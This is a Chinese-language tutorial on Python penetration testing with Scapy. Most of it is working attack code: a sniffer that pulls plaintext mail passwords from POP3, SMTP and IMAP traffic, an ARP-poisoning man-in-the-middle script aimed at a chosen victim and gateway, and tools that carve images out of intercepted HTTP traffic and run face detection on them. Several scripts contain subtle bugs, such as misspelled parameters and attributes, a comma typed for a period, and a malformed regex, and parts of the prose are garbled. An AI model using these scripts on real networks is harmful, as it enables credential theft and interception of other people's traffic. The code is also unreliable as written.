Python滲透測試入門之Scapy庫的使用詳解

更新時間：2023年03月13日 09:09:19 作者：yaolingyu1

Scapy?是一個用來解析底層網(wǎng)絡(luò)數(shù)據(jù)包的Python模塊和交互式程序，該程序?qū)Φ讓影幚磉M(jìn)行了抽象打包，使得對網(wǎng)絡(luò)數(shù)據(jù)包的處理非常簡便。本文就來聊聊它的具體使用，希望對大家有所幫助

Scapy 是一個用來解析底層網(wǎng)絡(luò)數(shù)據(jù)包的Python模塊和交互式程序，該程序?qū)Φ讓影幚磉M(jìn)行了抽象打包，使得對網(wǎng)絡(luò)數(shù)據(jù)包的處理非常簡便。該類庫可以在在網(wǎng)絡(luò)安全領(lǐng)域有非常廣泛用例，可用于漏洞利用開發(fā)、數(shù)據(jù)泄露、網(wǎng)絡(luò)監(jiān)聽、入侵檢測和流量的分析捕獲的。Scapy與數(shù)據(jù)可視化和報(bào)告生成集成，可以方便展示起結(jié)果和數(shù)據(jù)。

我們會先簡單嘗試一下，用Scapy嗅探流量，從中竊取明文的郵箱身份憑證。然后對網(wǎng)絡(luò)中的攻擊目標(biāo)進(jìn)行ARP投毒，以此嗅探它們的網(wǎng)絡(luò)流量。最后，我們會演示如何借助Scapy的pcap數(shù)據(jù)處理能力，從嗅探到的HTTP流量中提取圖片，并運(yùn)用面部識別算法來判斷其是否為人像照片。

竊取郵箱身份憑證

Scapy提供了一個名字簡明扼要的接口函數(shù)sniff，它的定義是這樣的：

sniff(filter = " ", iface = "any", prn = function, count = N)

filter參數(shù)允許你指定一個Berkeley數(shù)據(jù)包過濾器（Berkeley Packet Filter，BPF），用于過濾Scapy嗅探到的數(shù)據(jù)包，也可以將此參數(shù)留空，表示要嗅探所有的數(shù)據(jù)包。

iface參數(shù)用于指定嗅探器要嗅探的網(wǎng)卡，如果不設(shè)置的話，默認(rèn)會嗅探所有網(wǎng)卡。prn參數(shù)用于指定一個回調(diào)函數(shù)，每當(dāng)遇到符合過濾條件的數(shù)據(jù)包時，嗅探器就會將該數(shù)據(jù)包傳給這個回調(diào)函數(shù)，這是該函數(shù)接受的唯一參數(shù)。count參數(shù)可以用來指定你想嗅探多少包，如果留空的話，Scapy就會一直嗅探下去。

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

在這個簡單的嗅探器中，它只會嗅探郵箱協(xié)議相關(guān)的命令。

接下來我們將添加過濾器和回調(diào)函數(shù)代碼，有針對性地捕獲和郵箱賬號認(rèn)證相關(guān)的數(shù)據(jù)。

首先，我們將設(shè)置一個包過濾器，確保嗅探器只展示我們感興趣的包。我們會使用BPF語法（也被稱為Wireshark風(fēng)格的語法）來編寫過濾器。你可能會在tcpdump、Wireshark等工具中用到這種語法。先來講一下基本的BPF語法。在BPF語法中，可以使用三種類型的信息：描述詞（比如一個具體的主機(jī)地址、網(wǎng)卡名稱或端口號）、數(shù)據(jù)流方向和通信協(xié)議，如圖所示。你可以根據(jù)自己想找的數(shù)據(jù)，自由地添加或省略某個類型、方向或協(xié)議。

我們先寫一個BPF：

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#監(jiān)聽郵件協(xié)議常用端口
#新參數(shù)store，把它設(shè)為0以后，Scapy就不會將任何數(shù)據(jù)包保留在內(nèi)存里

if __name__ == '__main__':
    main()

ARP投毒攻擊

邏輯：欺騙目標(biāo)設(shè)備，使其相信我們是它的網(wǎng)關(guān)；然后欺騙網(wǎng)關(guān)，告訴它要發(fā)給目標(biāo)設(shè)備的所有流量必須交給我們轉(zhuǎn)發(fā)。網(wǎng)絡(luò)上的每一臺設(shè)備，都維護(hù)著一段ARP緩存，里面記錄著最近一段時間本地網(wǎng)絡(luò)上的MAC地址和IP地址的對應(yīng)關(guān)系。為了實(shí)現(xiàn)這一攻擊，我們會往這些ARP緩存中投毒，即在緩存中插入我們編造的記錄。

注意實(shí)驗(yàn)的目標(biāo)機(jī)為mac

arper.py：

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

pcap文件處理

recapper.py：

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode()))
    if 'Content-Type' not in header:
        return None
    return header

def extract_content(Response, content_name='image'):
    content, content_type = None, None
    if content_name in Response.header['Content-Type']:
        content_type = Response.header['Content-Type'].split('/')[1]
        content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:]

        if 'Content-Encoding' in Response.header:
            if Response.header['Content-Encoding'] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header['Content-Encoding'] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b''
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write('x')
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
                print(f'Writing {fname}')
                with open(fname, 'wb') as f:
                    f.write(content)

if __name__ == '__main__':
    pfile = os.path.join(PCAPS, 'pcap.pcap')
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write('image')

如果我們得到了一張圖片，那么我們就要對這張圖片進(jìn)行分析，檢查每張圖片來確認(rèn)里面是否存在人臉。對每張含有人臉的圖片，我們會在人臉周圍畫一個方框，然后另存為一張新圖片。

detector.py：

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

到這里，我們的實(shí)驗(yàn)?zāi)繕?biāo)已經(jīng)完成。對于其中的腳本我們可以擴(kuò)展更多的內(nèi)容，請大家自行發(fā)揮。

以上就是Python滲透測試入門之Scapy庫的使用詳解的詳細(xì)內(nèi)容，更多關(guān)于Python Scapy庫的資料請關(guān)注腳本之家其它相關(guān)文章！

您可能感興趣的文章: